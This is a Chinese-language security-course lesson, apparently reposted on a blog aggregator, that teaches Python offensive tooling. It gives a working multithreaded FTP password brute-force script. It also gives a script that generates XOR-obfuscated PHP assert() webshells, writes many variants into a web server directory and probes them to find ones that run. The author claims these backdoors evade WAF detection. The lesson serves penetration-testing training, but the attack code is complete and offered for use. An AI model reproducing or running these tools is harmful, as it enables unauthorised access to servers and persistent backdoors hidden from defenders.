78 Python开发-多线程Fuzz&Waf异或免杀&爆破

这篇具有很好参考价值的文章主要介绍了78 Python开发-多线程Fuzz&Waf异或免杀&爆破。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

78 Python开发-多线程Fuzz&Waf异或免杀&爆破,小迪安全,python,网络,开发语言

本课知识点:

协议模块使用,Request爬虫技术,简易多线程技术,编码技术,Bypass后门技术

学习目的:

掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合Fuzz吊打WAF等

演示案例:

Python开发-简单多线程技术实现脚本

queue,threading模块使用

Python开发-利用FTP模块实现协议爆破脚本

1.ftplib模块使用
2.遍历用户及密码字典
3.尝试连接执行命令判断

python里面基本上都有相对应的支持协议模块的库,我们就可以使用相关的库进行相关协议的连接

我们启动ftp服务器,到时候进行连接测试
78 Python开发-多线程Fuzz&Waf异或免杀&爆破,小迪安全,python,网络,开发语言
ftp软件这边是可以看到日志的,到时候我们爆破的时候可以看一下有没有登录日志,看一下是不是正常的
78 Python开发-多线程Fuzz&Waf异或免杀&爆破,小迪安全,python,网络,开发语言
我们在爆破的时候,要先把账号密码准备好,再去连接他
78 Python开发-多线程Fuzz&Waf异或免杀&爆破,小迪安全,python,网络,开发语言
这个就是一个很正常的连接情况
78 Python开发-多线程Fuzz&Waf异或免杀&爆破,小迪安全,python,网络,开发语言
服务器对外的服务端口是可以更改的

import ftplib                         # 导入ftplib模块
import threading                      # 导入threading模块实现多线程
import queue                          # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步
import sys
 
# 爆破:ip,端口,用户名,密码字典
def ftp_brute(ip,port):
   ftp = ftplib.FTP()                              # 创建ftp的操作类
   ftp.connect(ip, int(port))                      # 连接的ftp 设置ip和端口(ftp服务器默认的端口是21)
   # .empty()如果队列为空,返回 True,否则返回 False
   while not q.empty():                            # while 循环 not(非,反转) 真为假,假为真
       user_pass = q.get()                         # 获取队列,timeout等待时间
       list = user_pass.split('|')                 # split() 拆分字符串,等到的是一个列表
       username = list[0]                          # 用户名
       password = list[1]                          # 密码
       # print(f"{username} | {password}")
       try:                                        # 如果连接的用户名或密码错误就会报错,这个做个异常处理
           ftp.login(username,password)            # 连接的用户名,密码
           # ftp.retrlines('list')                   # 获取FTP服务器上的文件信息
           print(f"连接成功,账号:{username},密码:{password}")
       except Exception as e:
           # print(f"连接失败,{username}|{password}")
           pass
 
if __name__ == '__main__':
    try:
        ip = sys.argv[1]                               # 接收外部传进来的第一个参数ip,如:192.168.1.5
        port = sys.argv[2]                             # 接收外部传进来的第二个参数端口,如:21
        userfile = sys.argv[3]                         # 接收外部传进来的第三个参数用户名字典,如:ftp-user.txt
        passfile = sys.argv[4]                         # 接收外部传进来的第四个个参数密码字典,如:ftp-pass.txt
        threading_num = sys.argv[5]                    # 接收外部传进来的第五个参数创建的线程数,建议:5-10
    except IndexError as e:
        ip = '192.168.1.5'
        port = 21
        userfile = 'ftp-user.txt'
        passfile = 'ftp-pass.txt'
        threading_num = 5
        pass
    q = queue.Queue()                              # 创建队列
    for username in open(userfile):                # ftp-user.txt 就是一个简单的用户名字典,自己创建一个或在网上下载都可以
        for password in open(passfile):            # 遍历密码字典
            username = username.replace('\n', '')  # 将换行替换为空
            password = password.replace('\n', '')
            q.put(username + '|' + password)       # 向队列中插入元素(用户名与密码)
    # 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
    for x in range(int(threading_num)):                 # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9
        t = threading.Thread(target=ftp_brute,args=(ip,port))     # 创建线程对象,target=执行目标任务名
        t.start()                                  # 启动线程,让他开始工作

通过ftp模块的学习,大家可以去写个其它协议的,比如mysql或者sqlserver的,模块打上去就完事了,就可以用这个模块进行连接操作

Python开发-配合Fuzz实现免杀异或Shell脚本

1.免杀异或shell原理讲解及开发思路 (参考及举例: !@,?等)
2.基于Fuzz思路生成大量Payload代码并有序命名写入网站文件中
3.基于多线程实现批量访问shell文件并提交测试是否正常连接回显

‘!’ ‘^’ '@'经过异或运算之后结果为a,与后面的ssert形成assert()函数,执行后门。或者是每个字母都进行异或运算最后形成执行函数

<?php $a=('!'^'@').'ssert';$a($_POST[x]);?>   // assert()

这个就是网上说的无字符后门

import requests                       # 这个模块是来发送网络请求的
import threading                      # 导入threading模块实现多线程
import queue                          # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步
 
def create_shell():
    while not q.empty():                                            # while 循环 not(非,反转) 真为假,假为真
        filename = q.get()                                          # 获取队列
        url = f'http://127.0.0.1/x/{filename}'                      # 定义请求的URL
        data = {                                                    # 定义请求的参数
            'x':'phpinfo();'                                        # phpinfo()方法可以打开phpinfo页面(里面包含一些PHP的版本、扩展之类的信息)
        }
        try:
            result = requests.post(url,data=data).content.decode('utf-8')  # 使用requests模块发送post请求  .content 获取返回的结果  .decode('utf-8')指定解析的编码格式
            if 'phpinfo()' in result:                                      # 判断返回的源代码中是否包含phpinfo()这个字符串,有就是请求成功了后门程序可用,没有就是失败
                print(filename + '|ok')
            # else:
            #     print(filename + '|no')
        except Exception as e:
            pass
 
if __name__ == '__main__':
    q = queue.Queue()                                                         # 创建队列
    for i in range(1, 127):                                                   # ASCII值的范围就是1-127
        for ii in range(1, 127):
            payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"          # chr()方法将数字转换为ASCII值对应的字符
            code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"      # 定义后门代码
            filename = str(i) + 'xd' + str(ii) + '.php'                       # 定义文件路径
            q.put(filename)                                                   # 向队列中插入元素(文件名)
            # 这里要改成自己的phpStudy路径,x这个文件夹是要自己创建的
            with open(f'F:/phpStudy/PHPTutorial/WWW/x/{filename}', 'a') as f:  # 读取文件,a 文件不存在就会创建,如果已经存在就在后面追加内容
                f.write(code)                                                  # 向文件写入后门代码
                print(f"正在生成文件:{filename}")
    print(q.get())
    # 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
    for x in range(10):                                                         # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9
        t = threading.Thread(target=create_shell)                              # 创建线程对象,target=执行目标任务名
        t.start()                                                              # 启动线程,让他开始工作

这个后门是WAF查杀绝对找不出来的

涉及资源:

Webshell免杀绕过waf:https://blog.csdn.net/weixin_43263566/article/details/129391167
fuzzdb:https://github.com/zhanye/fuzzdb
fuzzDicts:https://github.com/stemmm/fuzzDicts
Webshell免杀绕过waf:https://www.cnblogs.com/liujizhou/p/11806497.html
python ftplib模块:https://www.cnblogs.com/kaituorensheng/p/4480512.html
PHP异或:https://blog.csdn.net/qq_41617034/article/details/104441032文章来源地址https://www.toymoban.com/news/detail-775995.html

到了这里,关于78 Python开发-多线程Fuzz&Waf异或免杀&爆破的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 安全开发实战(4)--whois与子域名爆破

    目录 安全开发专栏 前言 whois查询 子域名 子域名爆破 1.4 whois查询 方式1: 方式2: 1.5 子域名查询 方式1:子域名爆破 1.5.1 One 1.5.2 Two 方式2:其他方式 总结                                                               安全开发实战​​ http://t.csdnimg.cn/25N7H         Wh

    2024年04月26日
    浏览(42)
  • python免杀技术---shellcode的加载与执行

    0x01 生成shellcode 首先通过下列命令生成一个shellcode,使用msfvenom -p选项来指定paylaod,这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。 0x02 加载与执行shellcode的程序 程序为: 0x03 程序解释 导入模块,并且程

    2023年04月25日
    浏览(52)
  • 【 Python 全栈开发 - WEB开发篇 - 21 】进程与线程

    进程和线程都是计算机中用来实现多任务并发的机制,但它们有区别和联系。 区别: 定义不同:进程是操作系统分配资源的基本单位,是程序执行时的一个实例,包括代码、数据和资源,可以看成是程序的一次执行过程。而线程是进程内的一个执行单元,是程序执行流的最

    2024年02月08日
    浏览(41)
  • 免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall

    cs 上线 1. 生成 shellcode-c 或者 python 2. 打开 pycharm 工具,创建一个 py 文件,将原生态执行代码复制进去 shellcode 执行代码: 3.将生成的shellcode放到执行代码中,运行代码,cs成功上线 MSF 上线 1.执行命令,生成shellcode 命令:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.129

    2024年02月09日
    浏览(51)
  • 分享78个Python源代码总有一个是你想要的

    分享78个Python源代码总有一个是你想要的 源码下载链接:https://pan.baidu.com/s/1ZhXDsVuYsZpOUQIUjHU2ww?pwd=8888  提取码:8888 下面是文件的名字。 12个python项目源码 Apache Superset数据探查与可视化平台v2.0.1 API Star工具箱v0.7.2 Archery SQL审核查询平台v1.9.1 ArkID企业级IDaaSIAM平台系统 v2.6.10 bk

    2024年02月07日
    浏览(57)
  • 好用的fuzz字典以及fuzz字典生成工具

    https://github.com/fuzzdb-project/fuzzdb https://github.com/TheKingOfDuck/fuzzDicts https://github.com/TuuuNya/fuzz_dict https://github.com/jas502n/fuzz-wooyun-org 前言 学习xss的时候翻阅资料发现了一个文件上传漏洞fuzz字典生成脚本小工具,试了试还不错,分享一下 配置 需要python2环境 工具地址:https://github.com

    2024年02月07日
    浏览(36)
  • HZNUCTF MISC Snake题解——python程序逆向,hashcat爆破sha256

    目录 一.Dump得到pyc文件 二.pyc反编译得到py源码 三.分析程序逻辑 四.hashcat爆破 题目附件链接:https://pan.baidu.com/s/1CcS8BPGx8fKnsJgRvEi0bA?pwd=t2yj  提取码:t2yj 使用命令:python pyinstxtractor.py snake.exe 在线反编译工具python反编译 - 在线工具 (tool.lu) 这里%e8%b4%aa...是url编码,可以用url编码在

    2024年02月07日
    浏览(60)
  • Java/Python/Go不同开发语言在进程、线程和协程的设计差异

    在多线程项目开发时,最常用、最常遇到的问题是 1,线程、协程安全 2,线程、协程间的通信和控制 本文主要探讨不同开发语言go、java、python在进程、线程和协程上的设计和开发方式的异同。 进程 进程是 操作系统进行资源分配的基本单位,每个进程都有自己的独立内存空

    2024年01月23日
    浏览(49)
  • Fuzz初步了解

    模糊测试 - 维基百科,自由的百科全书 (wikipedia.org) 模糊测试 (fuzz testing, fuzzing)是一种软件测试技术。其核心思想是自动或半自动的生成随机数据输入到一个程序中,并监视程序异常,如崩溃,断言(assertion)失败,以发现可能的程序错误,比如内存泄漏 模糊测试工具主要分

    2024年02月11日
    浏览(34)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包